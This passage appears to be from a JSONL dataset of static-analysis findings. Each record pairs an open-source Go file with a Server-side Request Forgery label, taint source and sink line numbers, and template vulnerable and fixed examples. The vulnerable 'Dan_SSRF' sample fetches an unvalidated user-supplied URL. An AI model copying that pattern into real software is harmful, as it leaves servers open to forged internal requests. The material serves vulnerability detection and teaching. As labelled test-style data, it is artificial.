fmt.Sprintf(\"%s/%s\", c.BaseUrl, page)\n\treq, err := http.NewRequest(\"GET\", url, nil)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tres, err := c.HTTPClient.Do(req)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tbody, err := ioutil.ReadAll(res.Body)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar s = new(svtTextRes)\n\terr = json.Unmarshal(body, &s)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn s, nil\n}\n\nfunc cleanUp(text string) string {\n\tret := strings.ReplaceAll(text, \"m ndag\", \"måndag\")\n\tret = strings.ReplaceAll(ret, \"l rdag\", \"lördag\")\n\tret = strings.ReplaceAll(ret, \"s ndag\", \"söndag\")\n\tret = centerPageNr(ret)\n\n\treturn ret\n}\n\n// centerPageNr centers page numbers if the page number is the only\n// charachters on the line\n//\n// can be of shape \" 101 \" or \" 101-102 \"\nfunc centerPageNr(text string) string {\n\tlines := strings.Split(text, \"\\n\")\n\tres := \"\"\n\tfor i := 0; i < len(lines)-1; i++ {\n\t\tl := lines[i]\n\t\tmatch, err := regexp.Match(`(^ \\d{3} $)|(^ \\d{3}-\\d{3} $)`, []byte(l))\n\n\t\tif err != nil {\n\t\t\tres += l + \"\\n\"\n\t\t\tcontinue\n\t\t}\n\n\t\tif match != true {\n\t\t\tres += l + \"\\n\"\n\t\t\tcontinue\n\t\t}\n\n\t\tres += \" \" + l + \"\\n\"\n\t}\n\treturn res\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 93, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 93, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 94, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "NewRequest"}}]}} {"id": "0f33748390e5a2b17b237b639b70671b2ae0855909fb7ec32f0df435e08dce9d", "license": {"spdx": ["Apache-2.0"], "repo": "supra08/keptn", "path": "lighthouse-service/event_handler/evaluate_sli_handler.go", "repo_head_hexsha": "92838da9c65c8f949cf51d438db8625382276288", "stack_hexsha": "fbac7baa3affb1b8305b691b9965e3b7e9cff292", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 531, "entireCode": "package event_handler\n\nimport (\n\t\"encoding/base64\"\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\tcloudevents \"github.com/cloudevents/sdk-go/v2\"\n\t\"github.com/ghodss/yaml\"\n\tkeptnapi \"github.com/keptn/go-utils/pkg/api/utils\"\n\tkeptn \"github.com/keptn/go-utils/pkg/lib\"\n\tkeptnv2 \"github.com/keptn/go-utils/pkg/lib/v0_2_0\"\n\t\"github.com/mitchellh/mapstructure\"\n\t\"io/ioutil\"\n\t\"math\"\n\t\"net/http\"\n\t\"regexp\"\n\t\"sort\"\n\t\"strconv\"\n\t\"strings\"\n)\n\ntype datastoreResult struct {\n\tNextPageKey string `json:\"nextPageKey\"`\n\tTotalCount int `json:\"totalCount\"`\n\tPageSize int `json:\"pageSize\"`\n\tEvents []struct {\n\t\tData interface{} `json:\"data\"`\n\t}\n}\n\ntype criteriaObject struct {\n\tOperator string\n\tValue float64\n\tCheckPercentage bool\n\tIsComparison bool\n\tCheckIncrease bool\n}\n\ntype EvaluateSLIHandler struct {\n\tEvent cloudevents.Event\n\tHTTPClient *http.Client\n\tKeptnHandler *keptnv2.Keptn\n}\n\nfunc (eh *EvaluateSLIHandler) HandleEvent() error {\n\te := &keptn.InternalGetSLIDoneEventData{}\n\n\terr := eh.Event.DataAs(&e)\n\n\tif err != nil {\n\t\teh.KeptnHandler.Logger.Error(\"Could not parse event payload: \" + err.Error())\n\t\treturn err\n\t}\n\n\teh.KeptnHandler.Logger.Debug(\"Start to evaluate SLIs\")\n\t// compare the results based on the evaluation strategy\n\tsloConfig, err := getSLOs(e.Project, e.Stage, e.Service)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// get results of previous evaluations from data store (mongodb-datastore)\n\tnumberOfPreviousResults := 3\n\tif sloConfig.Comparison.CompareWith == \"single_result\" {\n\t\tnumberOfPreviousResults = 1\n\t} else if sloConfig.Comparison.CompareWith == \"several_results\" {\n\t\tnumberOfPreviousResults = sloConfig.Comparison.NumberOfComparisonResults\n\t}\n\n\tpreviousEvaluationEvents, err := eh.getPreviousEvaluations(e, numberOfPreviousResults, sloConfig.Comparison.IncludeResultWithScore)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tvar filteredPreviousEvaluationEvents []*keptnv2.EvaluationFinishedEventData\n\n\t// verify that we have enough evaluations\n\tfor _, val := range previousEvaluationEvents {\n\t\tfilteredPreviousEvaluationEvents = append(filteredPreviousEvaluationEvents, val)\n\t}\n\n\tevaluationResult, maximumAchievableScore, keySLIFailed := evaluateObjectives(e, sloConfig, filteredPreviousEvaluationEvents)\n\tevaluationResult.Labels = e.Labels\n\n\t// calculate the total score\n\terr = calculateScore(maximumAchievableScore, evaluationResult, sloConfig, keySLIFailed)\n\tif err != nil {\n\t\treturn err\n\t}\n\teh.KeptnHandler.Logger.Debug(\"Evaluation result: \" + string(evaluationResult.Result))\n\n\tvar sloFileContent []byte\n\t// get the slo.yaml as a plain file to avoid confusion due to defaulted values (see https://github.com/keptn/keptn/issues/1495)\n\tsloFileContentTmp, err := eh.KeptnHandler.GetKeptnResource(\"slo.yaml\")\n\tif err != nil {\n\t\teh.KeptnHandler.Logger.Debug(\"Could not fetch slo.yaml from service repository: \" + err.Error() + \". Will append internally used SLO object to evaluation-done event.\")\n\t\tsloFileContent, _ = yaml.Marshal(sloConfig)\n\t} else {\n\t\tsloFileContent = []byte(sloFileContentTmp)\n\t}\n\tbase64.StdEncoding.EncodeToString(sloFileContent)\n\tevaluationResult.Evaluation.SLOFileContent = base64.StdEncoding.EncodeToString(sloFileContent)\n\n\t// send the evaluation-done-event\n\tvar shkeptncontext string\n\teh.Event.Context.ExtensionAs(\"shkeptncontext\", &shkeptncontext)\n\n\t// #1289: check if test execution that preceded the evaluation was successful or failed\n\ttestsFinishedEvent, _ := eh.getPreviousTestExecutionResult(e)\n\tif testsFinishedEvent != nil {\n\t\tif testsFinishedEvent.Result == keptnv2.ResultFailed {\n\t\t\teh.KeptnHandler.Logger.Debug(\"Setting evaluation result to 'fail' because of failed preceding test execution\")\n\t\t\tevaluationResult.Result = keptnv2.ResultFailed\n\t\t\tevaluationResult.Status = keptnv2.StatusErrored\n\t\t\tevaluationResult.Evaluation.Result = \"Setting evaluation result to 'fail' because of failed preceding test execution\"\n\t\t}\n\t}\n\n\ttriggeredEvents, _ := eh.KeptnHandler.EventHandler.GetEvents(&keptnapi.EventFilter{\n\t\tProject: e.Project,\n\t\tStage: e.Stage,\n\t\tService: e.Service,\n\t\tEventType: keptnv2.GetTriggeredEventType(keptnv2.EvaluationTaskName),\n\t\tKeptnContext: eh.KeptnHandler.KeptnContext,\n\t})\n\tif triggeredEvents == nil || len(triggeredEvents) == 0 {\n\t\tmsg := \"Could not retrieve evaluation.triggered event for context \" + eh.KeptnHandler.KeptnContext\n\t\teh.KeptnHandler.Logger.Error(msg)\n\t\treturn errors.New(msg)\n\t}\n\n\treturn sendEvent(shkeptncontext, triggeredEvents[0].ID, keptnv2.GetFinishedEventType(keptnv2.EvaluationTaskName), eh.KeptnHandler, evaluationResult)\n}\n\nfunc evaluateObjectives(e *keptn.InternalGetSLIDoneEventData, sloConfig *keptn.ServiceLevelObjectives, previousEvaluationEvents []*keptnv2.EvaluationFinishedEventData) (*keptnv2.EvaluationFinishedEventData, float64, bool) {\n\tevaluationResult := &keptnv2.EvaluationFinishedEventData{\n\t\tEventData: keptnv2.EventData{\n\t\t\tStatus: \"\",\n\t\t\tProject: e.Project,\n\t\t\tService: e.Service,\n\t\t\tStage: e.Stage,\n\t\t},\n\t\tEvaluation: keptnv2.EvaluationDetails{\n\t\t\tTimeStart: e.Start,\n\t\t\tTimeEnd: e.End,\n\t\t},\n\t}\n\tvar sliEvaluationResults []*keptnv2.SLIEvaluationResult\n\tmaximumAchievableScore := 0.0\n\tkeySLIFailed := false\n\tfor _, objective := range sloConfig.Objectives {\n\t\t// only consider the SLI for the total score if pass criteria have been included\n\t\tif len(objective.Pass) > 0 {\n\t\t\tmaximumAchievableScore += float64(objective.Weight)\n\t\t}\n\t\tsliEvaluationResult := &keptnv2.SLIEvaluationResult{}\n\t\tresult := getSLIResult(e.IndicatorValues, objective.SLI)\n\n\t\tif result == nil {\n\t\t\t// no result available => fail the objective\n\t\t\tsliEvaluationResult.Value = &keptnv2.SLIResult{\n\t\t\t\tMetric: objective.SLI,\n\t\t\t\tSuccess: false,\n\t\t\t\tMessage: \"no value received from SLI provider\",\n\t\t\t}\n\t\t\tsliEvaluationResult.Status = \"fail\"\n\t\t\tsliEvaluationResult.Score = 0\n\t\t\tcontinue\n\t\t}\n\t\tsliEvaluationResult.Value = (*keptnv2.SLIResult)(result)\n\n\t\t// gather the previous results for the current SLI\n\t\tvar previousSLIResults []*keptnv2.SLIEvaluationResult\n\n\t\tif previousEvaluationEvents != nil && len(previousEvaluationEvents) > 0 {\n\t\t\tfor _, event := range previousEvaluationEvents {\n\t\t\t\tfor _, prevSLIResult := range event.Evaluation.IndicatorResults {\n\t\t\t\t\tif strings.Compare(prevSLIResult.Value.Metric, objective.SLI) == 0 {\n\t\t\t\t\t\tpreviousSLIResults = append(previousSLIResults, prevSLIResult)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tvar passTargets []*keptnv2.SLITarget\n\t\tvar warningTargets []*keptnv2.SLITarget\n\t\tisPassed := true\n\t\tisWarning := true\n\t\tif objective.Pass != nil && len(objective.Pass) > 0 {\n\t\t\tisPassed, passTargets, _ = evaluateOrCombinedCriteria(sliEvaluationResult.Value, objective.Pass, previousSLIResults, sloConfig.Comparison)\n\t\t\tif isPassed {\n\t\t\t\tsliEvaluationResult.Score = float64(objective.Weight)\n\t\t\t\tsliEvaluationResult.Status = \"pass\"\n\t\t\t}\n\t\t} else {\n\t\t\tsliEvaluationResult.Status = \"info\"\n\t\t}\n\n\t\tif !isPassed {\n\t\t\tif objective.Warning != nil && len(objective.Warning) > 0 {\n\t\t\t\tisWarning, warningTargets, _ = evaluateOrCombinedCriteria(sliEvaluationResult.Value, objective.Warning, previousSLIResults, sloConfig.Comparison)\n\t\t\t\tif isWarning {\n\t\t\t\t\tsliEvaluationResult.Score = 0.5 * float64(objective.Weight)\n\t\t\t\t\tsliEvaluationResult.Status = \"warning\"\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tisWarning = false\n\t\t\t}\n\t\t}\n\n\t\tsliEvaluationResult.Targets = append(warningTargets, passTargets...)\n\n\t\tif !isPassed && !isWarning {\n\t\t\tif objective.KeySLI {\n\t\t\t\tkeySLIFailed = true\n\t\t\t}\n\t\t\tsliEvaluationResult.Status = \"fail\"\n\t\t\tsliEvaluationResult.Score = 0\n\t\t}\n\n\t\tsliEvaluationResults = append(sliEvaluationResults, sliEvaluationResult)\n\t}\n\tevaluationResult.Evaluation.IndicatorResults = sliEvaluationResults\n\treturn evaluationResult, maximumAchievableScore, keySLIFailed\n}\n\nfunc calculateScore(maximumAchievableScore float64, evaluationResult *keptnv2.EvaluationFinishedEventData, sloConfig *keptn.ServiceLevelObjectives, keySLIFailed bool) error {\n\tif maximumAchievableScore == 0 {\n\t\tevaluationResult.Evaluation.Result = \"pass\"\n\t\tevaluationResult.Result = keptnv2.ResultPass\n\t\tevaluationResult.Status = keptnv2.StatusSucceeded\n\t\tevaluationResult.Evaluation.Score = 100.0\n\t\treturn nil\n\t}\n\ttotalScore := 0.0\n\tfor _, result := range evaluationResult.Evaluation.IndicatorResults {\n\t\ttotalScore += result.Score\n\t}\n\tachievedPercentage := 100.0 * (totalScore / maximumAchievableScore)\n\tevaluationResult.Evaluation.Score = achievedPercentage\n\tif sloConfig.TotalScore == nil || sloConfig.TotalScore.Pass == \"\" {\n\t\treturn errors.New(\"no target score defined\")\n\t}\n\tpassTargetPercentage, err := strconv.ParseFloat(strings.TrimSuffix(sloConfig.TotalScore.Pass, \"%\"), 64)\n\tif err != nil {\n\t\treturn errors.New(\"could not parse pass target percentage\")\n\t}\n\tif achievedPercentage >= passTargetPercentage && !keySLIFailed {\n\t\tevaluationResult.Evaluation.Result = \"pass\"\n\t\tevaluationResult.Result = keptnv2.ResultPass\n\t\tevaluationResult.Status = keptnv2.StatusSucceeded\n\t} else if sloConfig.TotalScore.Warning != \"\" && !keySLIFailed {\n\t\twarnTargetPercentage, err := strconv.ParseFloat(strings.TrimSuffix(sloConfig.TotalScore.Warning, \"%\"), 64)\n\n\t\tif err != nil {\n\t\t\treturn errors.New(\"could not parse warning target percentage\")\n\t\t}\n\t\tif achievedPercentage >= warnTargetPercentage {\n\t\t\tevaluationResult.Evaluation.Result = \"warning\"\n\t\t\tevaluationResult.Result = keptnv2.ResultWarning\n\t\t\tevaluationResult.Status = keptnv2.StatusSucceeded\n\t\t} else {\n\t\t\tevaluationResult.Evaluation.Result = \"fail\"\n\t\t\tevaluationResult.Result = keptnv2.ResultFailed\n\t\t\tevaluationResult.Status = keptnv2.StatusSucceeded\n\t\t}\n\t} else {\n\t\tevaluationResult.Evaluation.Result = \"fail\"\n\t\tevaluationResult.Result = keptnv2.ResultFailed\n\t\tevaluationResult.Status = keptnv2.StatusSucceeded\n\t}\n\treturn nil\n}\n\nfunc getSLIResult(results []*keptn.SLIResult, sli string) *keptn.SLIResult {\n\tfor _, sliResult := range results {\n\t\tif sliResult.Metric == sli {\n\t\t\treturn sliResult\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc evaluateOrCombinedCriteria(result *keptnv2.SLIResult, sloCriteria []*keptn.SLOCriteria, previousResults []*keptnv2.SLIEvaluationResult, comparison *keptn.SLOComparison) (bool, []*keptnv2.SLITarget, error) {\n\tvar satisfied bool\n\tsatisfied = false\n\tvar sliTargets []*keptnv2.SLITarget\n\tfor _, crit := range sloCriteria {\n\t\tcriteriaSatisfied, evaluatedTargets, _ := evaluateCriteriaSet(result, crit, previousResults, comparison)\n\t\tif criteriaSatisfied {\n\t\t\t// one matching criteria set is sufficient to satisfy the evaluation. Other criteria sets are evaluated nevertheless, to get potential violations\n\t\t\tsatisfied = true\n\t\t}\n\t\tfor _, evaluatedTarget := range evaluatedTargets {\n\t\t\tsliTargets = append(sliTargets, evaluatedTarget)\n\t\t}\n\t}\n\treturn satisfied, sliTargets, nil\n}\n\n// evaluateCriteria evaluates a set of criteria strings. Per definition, all criteria clauses within a SLOCriteria object have to be fulfilled to satisfy the SLOCriteria\nfunc evaluateCriteriaSet(result *keptnv2.SLIResult, sloCriteria *keptn.SLOCriteria, previousResults []*keptnv2.SLIEvaluationResult, comparison *keptn.SLOComparison) (bool, []*keptnv2.SLITarget, error) {\n\tsatisfied := true\n\tvar sliTargets []*keptnv2.SLITarget\n\tfor _, criteria := range sloCriteria.Criteria {\n\t\ttarget := &keptnv2.SLITarget{\n\t\t\tCriteria: criteria,\n\t\t}\n\t\tcriteriaSatisfied, _ := evaluateSingleCriteria(result, criteria, previousResults, comparison, target)\n\t\tif !criteriaSatisfied {\n\t\t\ttarget.Violated = true\n\t\t\tsatisfied = false\n\t\t} else {\n\t\t\ttarget.Violated = false\n\t\t}\n\t\tsliTargets = append(sliTargets, target)\n\t}\n\treturn satisfied, sliTargets, nil\n}\n\nfunc evaluateSingleCriteria(sliResult *keptnv2.SLIResult, criteria string, previousResults []*keptnv2.SLIEvaluationResult, comparison *keptn.SLOComparison, violation *keptnv2.SLITarget) (bool, error) {\n\tif !sliResult.Success {\n\t\treturn false, errors.New(\"cannot evaluate invalid SLI result\")\n\t}\n\n\tco, err := parseCriteriaString(criteria)\n\n\tif err != nil {\n\t\treturn false, err\n\t}\n\n\tif !co.IsComparison {\n\t\t// do a fixed threshold comparison\n\t\treturn evaluateFixedThreshold(sliResult, co, violation)\n\t}\n\n\treturn evaluateComparison(sliResult, co, previousResults, comparison, violation)\n}\n\nfunc evaluateComparison(sliResult *keptnv2.SLIResult, co *criteriaObject, previousResults []*keptnv2.SLIEvaluationResult, comparison *keptn.SLOComparison, violation *keptnv2.SLITarget) (bool, error) {\n\t// aggregate previous results\n\tvar aggregatedValue float64\n\tvar targetValue float64\n\tvar previousValues []float64\n\n\tif len(previousResults) == 0 {\n\t\t// if no comparison values are available, the evaluation passes\n\t\treturn true, nil\n\t}\n\n\tfor _, val := range previousResults {\n\t\tif comparison.IncludeResultWithScore == \"all\" {\n\t\t\tif val.Value.Success == true {\n\t\t\t\t// always include\n\t\t\t\tpreviousValues = append(previousValues, val.Value.Value)\n\t\t\t}\n\t\t} else if comparison.IncludeResultWithScore == \"pass_or_warn\" {\n\t\t\t// only include warnings and passes\n\t\t\tif (val.Status == \"warning\" || val.Status == \"pass\") && val.Value.Success == true {\n\t\t\t\tpreviousValues = append(previousValues, val.Value.Value)\n\t\t\t}\n\t\t} else if comparison.IncludeResultWithScore == \"pass\" {\n\t\t\t// only include passes\n\t\t\tif val.Status == \"pass\" && val.Value.Success == true {\n\t\t\t\tpreviousValues = append(previousValues, val.Value.Value)\n\t\t\t}\n\t\t}\n\t}\n\n\tif len(previousValues) == 0 {\n\t\t// if no comparison values are available, the evaluation passes\n\t\treturn true, nil\n\t}\n\n\t// aggregate the previous values based on the passed aggregation function\n\tswitch comparison.AggregateFunction {\n\tcase \"avg\":\n\t\taggregatedValue = calculateAverage(previousValues)\n\tcase \"p50\":\n\t\taggregatedValue = calculatePercentile(sort.Float64Slice(previousValues), 0.5)\n\tcase \"p90\":\n\t\taggregatedValue = calculatePercentile(sort.Float64Slice(previousValues), 0.9)\n\tcase \"p95\":\n\t\taggregatedValue = calculatePercentile(sort.Float64Slice(previousValues), 0.95)\n\tdefault:\n\t\tbreak\n\t}\n\n\t// calculate the comparison value\n\tif co.CheckPercentage && co.CheckIncrease {\n\t\ttargetValue = (aggregatedValue * (100.0 + co.Value)) / 100.0\n\t} else if co.CheckPercentage && !co.CheckIncrease {\n\t\ttargetValue = (aggregatedValue * (100.0 - co.Value)) / 100.0\n\t} else if !co.CheckPercentage && co.CheckIncrease {\n\t\ttargetValue = aggregatedValue + co.Value\n\t} else if !co.CheckPercentage && !co.CheckIncrease {\n\t\ttargetValue = aggregatedValue - co.Value\n\t}\n\tviolation.TargetValue = targetValue\n\t// compare!\n\treturn evaluateValue(sliResult.Value, targetValue, co.Operator)\n}\n\nfunc calculateAverage(values []float64) float64 {\n\tsum := 0.0\n\n\tfor _, value := range values {\n\t\tsum += value\n\t}\n\tif len(values) > 0 {\n\t\treturn sum / float64(len(values))\n\t}\n\treturn 0.0\n}\n\nfunc calculatePercentile(values sort.Float64Slice, perc float64) float64 {\n\tif len(values) == 0 {\n\t\treturn 0.0\n\t}\n\tps := []float64{perc}\n\n\tscores := make([]float64, len(ps))\n\tsize := len(values)\n\tif size > 0 {\n\t\tsort.Sort(values)\n\t\tfor i, p := range ps {\n\t\t\tpos := p * float64(size+1) //ALTERNATIVELY, DROP THE +1\n\t\t\tif pos < 1.0 {\n\t\t\t\tscores[i] = float64(values[0])\n\t\t\t} else if pos >= float64(size) {\n\t\t\t\tscores[i] = float64(values[size-1])\n\t\t\t} else {\n\t\t\t\tlower := float64(values[int(pos)-1])\n\t\t\t\tupper := float64(values[int(pos)])\n\t\t\t\tscores[i] = lower + (pos-math.Floor(pos))*(upper-lower)\n\t\t\t}\n\t\t}\n\t}\n\treturn scores[0]\n}\n\nfunc evaluateFixedThreshold(sliResult *keptnv2.SLIResult, co *criteriaObject, violation *keptnv2.SLITarget) (bool, error) {\n\tviolation.TargetValue = co.Value\n\treturn evaluateValue(sliResult.Value, co.Value, co.Operator)\n}\n\nfunc evaluateValue(measured float64, expected float64, operator string) (bool, error) {\n\tswitch operator {\n\tcase \"<\":\n\t\treturn measured < expected, nil\n\tcase \"<=\":\n\t\treturn measured <= expected, nil\n\tcase \"=\":\n\t\treturn measured == expected, nil\n\tcase \">=\":\n\t\treturn measured >= expected, nil\n\tcase \">\":\n\t\treturn measured > expected, nil\n\tdefault:\n\t\treturn false, errors.New(\"no operator set\")\n\t}\n}\n\nfunc parseCriteriaString(criteria string) (*criteriaObject, error) {\n\t// example values: <+15%, <500, >-8%, =0\n\t// possible operators: <, <=, =, >, >=\n\t// regex: ^([<|<=|=|>|>=]{1,2})([+|-]{0,1}\\\\d*\\.?\\d*)([%]{0,1})\n\tregex := `^([<|<=|=|>|>=]{1,2})([+|-]{0,1}\\d*\\.?\\d*)([%]{0,1})`\n\tvar re *regexp.Regexp\n\tre = regexp.MustCompile(regex)\n\n\t// remove whitespaces\n\tcriteria = strings.Replace(criteria, \" \", \"\", -1)\n\n\tif !re.MatchString(criteria) {\n\t\treturn nil, errors.New(\"invalid criteria string\")\n\t}\n\n\tc := &criteriaObject{}\n\n\toperators := []string{\"<=\", \"<\", \"=\", \">=\", \">\"}\n\n\tfor _, operator := range operators {\n\t\tif strings.HasPrefix(criteria, operator) {\n\t\t\tc.Operator = operator\n\t\t\tcriteria = strings.TrimPrefix(criteria, operator)\n\t\t\tbreak\n\t\t}\n\t}\n\n\tif strings.HasSuffix(criteria, \"%\") {\n\t\tc.CheckPercentage = true\n\t\tc.IsComparison = true // Issue #1498: criteria containing '%' is always a comparison\n\t\tc.CheckIncrease = true\n\t\tcriteria = strings.TrimSuffix(criteria, \"%\")\n\t}\n\n\tif strings.HasPrefix(criteria, \"-\") {\n\t\tc.IsComparison = true\n\t\tc.CheckIncrease = false\n\t\tcriteria = strings.TrimPrefix(criteria, \"-\")\n\t} else if strings.HasPrefix(criteria, \"+\") {\n\t\tc.IsComparison = true\n\t\tc.CheckIncrease = true\n\t\tcriteria = strings.TrimPrefix(criteria, \"+\")\n\t}\n\n\tfloatValue, err := strconv.ParseFloat(criteria, 64)\n\tif err != nil {\n\t\treturn nil, errors.New(\"could not parse criteria target value\")\n\t}\n\tc.Value = floatValue\n\n\treturn c, nil\n}\n\n// gets previous evaluation-done events from mongodb-datastore\nfunc (eh *EvaluateSLIHandler) getPreviousEvaluations(e *keptn.InternalGetSLIDoneEventData, numberOfPreviousResults int, includeResult string) ([]*keptnv2.EvaluationFinishedEventData, error) {\n\tvar evaluationDoneEvents []*keptnv2.EvaluationFinishedEventData\n\n\tnextPageKey := \"\"\n\tfor {\n\t\t// previous results are fetched from mongodb datastore with source=lighthouse-service\n\t\tqueryString := fmt.Sprintf(getDatastoreURL()+\"/event?type=%s&source=%s&project=%s&stage=%s&service=%s&pageSize=%d&nextPageKey=%s\",\n\t\t\tkeptn.EvaluationDoneEventType, \"lighthouse-service\",\n\t\t\te.Project, e.Stage, e.Service, numberOfPreviousResults, nextPageKey)\n\n\t\tincludeResult = strings.ToLower(includeResult)\n\n\t\treq, err := http.NewRequest(\"GET\", queryString, nil)\n\t\treq.Header.Set(\"Content-Type\", \"application/json\")\n\t\tresp, err := eh.HTTPClient.Do(req)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tdefer resp.Body.Close()\n\t\tbody, _ := ioutil.ReadAll(resp.Body)\n\t\tif resp.StatusCode != 200 {\n\t\t\treturn nil, errors.New(\"could not retrieve previous evaluation-done events\")\n\t\t}\n\t\tpreviousEvents := &datastoreResult{}\n\t\terr = json.Unmarshal(body, previousEvents)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\t// iterate over previous events\n\t\tfor _, event := range previousEvents.Events {\n\t\t\tbytes, err := json.Marshal(event.Data)\n\t\t\tif err != nil {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tvar evaluationDoneEvent keptnv2.EvaluationFinishedEventData\n\t\t\terr = json.Unmarshal(bytes, &evaluationDoneEvent)\n\n\t\t\tif err != nil {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tswitch includeResult {\n\t\t\tcase \"pass\":\n\t\t\t\tif strings.ToLower(string(evaluationDoneEvent.Result)) == \"pass\" {\n\t\t\t\t\tevaluationDoneEvents = append(evaluationDoneEvents, &evaluationDoneEvent)\n\t\t\t\t}\n\t\t\t\tbreak\n\t\t\tcase \"pass_or_warn\":\n\t\t\t\tif strings.ToLower(string(evaluationDoneEvent.Result)) == \"pass\" || strings.ToLower(string(evaluationDoneEvent.Result)) == \"warning\" {\n\t\t\t\t\tevaluationDoneEvents = append(evaluationDoneEvents, &evaluationDoneEvent)\n\t\t\t\t}\n\t\t\t\tbreak\n\t\t\tdefault:\n\t\t\t\tevaluationDoneEvents = append(evaluationDoneEvents, &evaluationDoneEvent)\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tif len(evaluationDoneEvents) == numberOfPreviousResults {\n\t\t\t\treturn evaluationDoneEvents, nil\n\t\t\t}\n\t\t}\n\n\t\tif previousEvents.NextPageKey == \"\" || previousEvents.NextPageKey == \"0\" {\n\t\t\tbreak\n\t\t}\n\t\tnextPageKey = previousEvents.NextPageKey\n\t}\n\treturn evaluationDoneEvents, nil\n}\n\nfunc (eh *EvaluateSLIHandler) getPreviousTestExecutionResult(e *keptn.InternalGetSLIDoneEventData) (*keptnv2.TestFinishedEventData, error) {\n\tevents, _ := eh.KeptnHandler.EventHandler.GetEvents(&keptnapi.EventFilter{\n\t\tProject: e.Project,\n\t\tStage: e.Stage,\n\t\tService: e.Service,\n\t\tEventType: keptnv2.GetFinishedEventType(keptnv2.TestTaskName),\n\t\tKeptnContext: eh.KeptnHandler.KeptnContext,\n\t})\n\tif events == nil || len(events) == 0 {\n\t\tmsg := \"Could not retrieve test.finished event for context \" + eh.KeptnHandler.KeptnContext\n\t\teh.KeptnHandler.Logger.Error(msg)\n\t\treturn nil, errors.New(msg)\n\t}\n\n\ttestsFinishedEvent := &keptnv2.TestFinishedEventData{}\n\tdecoder, err := mapstructure.NewDecoder(&mapstructure.DecoderConfig{\n\t\tSquash: true,\n\t\tResult: testsFinishedEvent,\n\t})\n\terr = decoder.Decode(events[0].Data)\n\tif err != nil {\n\t\teh.KeptnHandler.Logger.Error(\"Cannot decode approval.triggered event: \" + err.Error())\n\t\treturn nil, err\n\t}\n\treturn testsFinishedEvent, nil\n\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 525, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 525, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 531, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "NewRequest"}}]}} {"id": "5177e3b0f405ddca4722c0b97026de314a80468704bf5f9e5df94ecb3fc33ebc", "license": {"spdx": ["Apache-2.0"], "repo": "HogwartsBerkeley/RoomOfRequirement", "path": "ezSyncAreaCode/sync_from_amap.go", "repo_head_hexsha": "ef9c30047372c9ccaea92e5dd400f2266788f848", "stack_hexsha": "4a83a2ea7ed034aeec66408260d6fcfe271a04b9", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify 